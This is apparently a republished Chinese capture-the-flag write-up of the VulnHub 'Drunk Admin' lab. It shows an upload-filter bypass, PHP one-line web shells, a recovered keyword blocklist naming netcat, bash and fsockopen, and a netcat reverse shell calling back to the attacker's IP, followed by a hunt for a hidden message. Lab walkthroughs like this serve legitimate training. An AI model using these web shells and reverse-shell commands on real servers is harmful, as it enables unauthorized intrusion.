码迷,mamicode.com
首页 > Web开发 > 详细

VulnHub Drunk Admin Web Hacking Challenge: 1

时间:2020-06-24 21:39:17      阅读:66      评论:0      收藏:0      [点我收藏+]

标签:mission   输出   加密   hal   nvl   href   说明   pre   ima   

Download

前言

发布时间:2 Apr 2012

靶机IP:10.101.27.241

攻击机IP(Kalli):10.101.27.128

技术图片

端口扫描

nmap -sV 10.101.27.241 -p1-65536

发现22端口开启了ssh服务以及8880端口的http服务

技术图片

访问8880端口的服务,发现是一个图片上传的web应用

技术图片

扫描网站目录

技术图片

尝试访问下发现

技术图片

木马上传

得从图片上传入手,发现上传非图片格式后缀文件,会显示:Invalid file extension!,将后缀名改为.php.jpg后上传成功

技术图片

图片地址为:http://10.101.27.241:8880/images/b864b86cfa7d0935f61dac5eac9e91e8.jpg,可以看到图片文件名被修改后存入,猜测为MD5,通过hash-identifier验证

技术图片

可以得知存储的文件名的规则为文件名的MD5值加上文件后缀

技术图片

发现上传.jpg.php也是可以的,在文件中写入:

<?php echo "success";?>

计算pic.jpg.php的MD5值,然后访问发现php代码被执行了

技术图片

尝试写入一句话木马,

<?php echo exec($_GET[“cmd”]); ?>

上传后显示:Ohhh you are naughty!,可见进行了过滤被拦截

通过file_get_contents函数查看upload.php文件的内容

<?php echo file_get_contents(‘../upload.php‘);?>

简单整理之后如下:

<?php
(MAX_SIZE*1024) { 
    echo ‘You have exceeded the size limit!‘; 
    $errors=1; 
} 
$raw_name=md5($image); 
$image_name=md5($image).‘.‘.$extension; 
$newname="images/".$image_name; 
$copied = copy($_FILES[‘image‘][‘tmp_name‘], $newname); 
if (!$copied) { 
    echo ‘Copy unsuccessful!‘; 
    $errors=1; 
} 
else { 
    echo ‘Invalid file extension!‘; 
    $errors=1; 
} 
else { 
    echo ‘No image selected. Be carefull next time!‘; 
    $errors=1; 
} 
else { 
    echo ‘No data? Come on give me something to play with!‘; 
    $errors=1; 
} 
if(isset($_POST[‘Submit‘]) && !$errors) { 
    $file = file_get_contents("./images/$image_name"); 
    if( strpos($file,"perl") || 
       strpos($file,"bash") || 
       strpos($file,"sh -c") || 
       strpos($file,"python") || 
       strpos($file,"nc ") || 
       strpos($file,"netcat") || 
       strpos($file,"base64") || 
       strpos($file,"ruby") || 
       strpos($file,"fsockopen") || 
       strpos($file,"xterm") || 
       strpos($file,"gcc") || 
       strpos($file,‘$_GET‘) || 
       strpos($file,‘$_POST‘) || 
       strpos($file,‘$_SERVER‘) || 
       strpos($file,‘$_FILES‘) || 
       strpos($file,‘$_COOKIE‘) ) { 
        echo "Ohhh you are naughty!"; 
        exec("rm ./images/$image_name"); 
        die; 
    } 
    setcookie("trypios", "$raw_name", time()+3600); 
    echo ‘‘; 
} 
?> 

命令执行

可以看到对‘$_GET‘进行了过滤,所以在开始上传一句话木马的时候输出:"Ohhh you are naughty!",于是乎构造如下木马:

// filename:pic.jpg.php
// URL:http://10.101.27.241:8880/images/5fc28369a5fe906d8d884a82e1dafb8b.php?cmd=id
<?php echo exec($_REQUEST[‘cmd‘])  ?>

技术图片

反弹shell

在kali上监听446端口

nc -nvlp 446

然后访问执行命令:

http://10.101.27.241:8880/images/5fc28369a5fe906d8d884a82e1dafb8b.php?cmd=nc%2010.101.27.128%20446%20-e%20/bin/bash

技术图片

成功get shell,使用python提供的pty模块来获取一个标准的shell

python -c ‘import pty;pty.spawn("/bin/bash")‘

任务

FINAL GOAL: Reveal the hidden message for a date arrange that Bob sent to Alice.

靶机描述中的最终目标就找到隐藏的信息,先查看下www文件夹下面都有什么

技术图片

发现有个.proof的隐藏文件,查看一下,发现加密字符串:TGglMUxecjJDSDclN1Ej

技术图片

看起来像是base64,解密试试,得到:Lh%1L^r2CH7%7Q# ,看不出来什么东西

技术图片

尝试搜索一波包含encrypt的文件

find / -name "*encrypt*" 2>&1 | sed ‘/Permission denied/d;‘

技术图片

发现/home/bob/public_html/encrypt.php似乎有些东西,进入该文件所在的目录

技术图片

文件位于public_html说明可以直接通过浏览器来进行访问,于是访问:http://10.101.27.241:8880/~bob/index.php

技术图片

看起来是一个解密的应用,将刚刚base64解出来的字符串放进去试一试,得到一个经纬度的坐标,通过Google地图查看下,是在:Akti Tompazi, Chania 731 32, Greece

技术图片

技术图片

参考

http://www.cyberry.co.uk/vulnhub/drunk-admin-web-hacking-challenge-1/

VulnHub Drunk Admin Web Hacking Challenge: 1

标签:mission   输出   加密   hal   nvl   href   说明   pre   ima   

原文地址:https://www.cnblogs.com/CH42e/p/13189941.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!